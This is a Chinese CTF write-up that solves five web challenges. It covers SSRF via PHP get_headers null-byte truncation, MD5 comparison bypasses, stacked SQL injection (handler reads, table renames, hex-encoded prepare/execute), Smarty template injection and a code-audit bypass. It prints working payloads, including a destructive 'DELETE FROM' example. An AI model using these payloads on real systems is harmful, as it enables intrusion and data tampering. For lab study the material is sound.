[GKCTF 2020]cve版签到
进来应该是给了个提示了,就是要以.ctfhub.com结尾
还有一个超链接,这题的ssrf还是挺明显的,抓包看看
发现回显里面有提示
说是和本地有关,那么也就是说,要访问127.0.0.1,大概意思就是127.0.0.1就是ssrf的跳板了,然后呢要加一开始给的那个后缀,然后呢,这里还有有关比较隐藏的点,就是php的版本,在上图中可以看到,php的版本是7.3.15,这里涉及到的一个知识点:
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,同时将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
这里有比较详细的关于00截断的知识 ,php 00截断,文件上传之\00截断与文件包含之%00截断 文件包含漏洞详解 – jinglingshu的博客...-CSDN博客 cve也插个链接吧,什么是CVE?常见漏洞和暴露列表概述_cve漏洞列表-CSDN博客
这个截断的话,平时遇到比较常见的就是文件上传的路径的更改那些,但是既然这里要求我们要强制在后面加.ctfhub.com,所以这里才用到这个知识点
能理解的都理解的差不多了,开始,构造payload:
GET /?url=http://127.0.0.1%00www.ctfhub.com HTTP/1.1
得到了下一步的提示:
再改个后缀
得到了flag
[SWPUCTF 2022 新生赛]奇妙的MD5
这个框,有点熟悉,虽然知道要用什么,但是还是抓包看看
果然,具体可以去看我的关于md5知识点的博客
ffifdyop绕过
进入下一个界面
源码注释里面,给了提示
get传参,md5弱比较,这里使用数组,秒了,进入下一个页面
强比较,post传参
得到了flag
[强网杯 2019]随便注
抓包,跑sqlmap
接着往下爆破
发现sqlmap跑不出来,而且一开始爆出来的表是空的,说明这道题只能手注了
看看源码,说明这里应该是不能用sqlmap了
题目一开始给了个1,查询看看
单引号判断一下闭合方式
通过报错信息可知,是单引号闭合。
看看字段
报错,改成order by 2就是正确的,因此数据库只有两列,接下来继续找显示位:
发现select被过滤了,以及一些其他的过滤规则,但是;没有被过滤,这里先尝试堆叠注入
这里插一个关于堆叠注入的知识点:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。、
例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
更详细的信息,可以看这里sql注入之堆叠注入-CSDN博客
通过1';show tables;1 #命令,看看所有表
一个一个看看,这里因为第一个表是纯数字,所以要用`括起来
注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,不能使用引号。
运气很好,在第一个表里就找到了flag的相关信息,但是因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据。
在这里补充一点关于hander的知识点:
1.handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
2.handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
3.handler 别名 close;(将这个句柄实例关闭)
尝试构造:
0';handler `1919810931114514` open;handler `1919810931114514` read first; 1 #
成功拿到了flag
看了其他的wp以后,发现应该还有两种方法
一.alter,可以通过修改表名来间接达到目的
因为words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
构造payload:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);
分步骤的话
alter table words rename as word1; // 将原查询表改名
alter table `1919810931114514` rename as words; // 将flag所在表改为原查询表
alter table words change flag id varchar(100); // 修改列名
然后再查看原查询表就可以了
然后这里再对alter的知识点进行补充:
alter可以修改已知表的列
alter table "table_name" add "column_name" type;//添加一个列
alter table "table_name" drop "column_name" type;//删除一个列
alter table "table_name" alter column "column_name" type;//改变列的数据类型
alter table "table_name" change "column1" "column2" type;//改列名
alter table "table_name" rename "column1" to "column2";//改列名
二.编码逃逸
因为select被过滤了,所以考虑使用编码进行绕过
使用select查询就很简单了
构造payloadselect *from where
`1919810931114514`
这里使用*这个通配符来查询数据表里面的全部内容,从而达到爆出flag的目的,然后呢,对这个语句进行16进制编码
73656c656374202a2066726f6d20603139313938313039333131313435313460
构造出payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
解读
:
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
0x就是把后面的编码格式转换成16进制编码格式
那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。
也可以得到flag
[NISACTF 2022]midlevel
打开以后,很熟悉啊,昨天好像做了一题类似的ssti
smarty,老样子,抓包,在xff处来构造payload试试
再判断7{*comment*}7
加个{if}开始注入
发现了和flag有关的信息
再次注入
得到了flag
[GDOUCTF 2023]受不了一点
大型代码审计
第一个if,就是让你给参数ctf,gdou,POST赋值
第二个if,md5强比较,数组绕过
第三-四个if,cookie传值
第五个if,让get方式传入参数aaa和bbb的值
传就行了
第六个if,加个字母绕过一下
第七个,这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag
构造:123=flag&flag=123
因为改的东西太多了,所以,这里选择使用bp
然后就得到了flag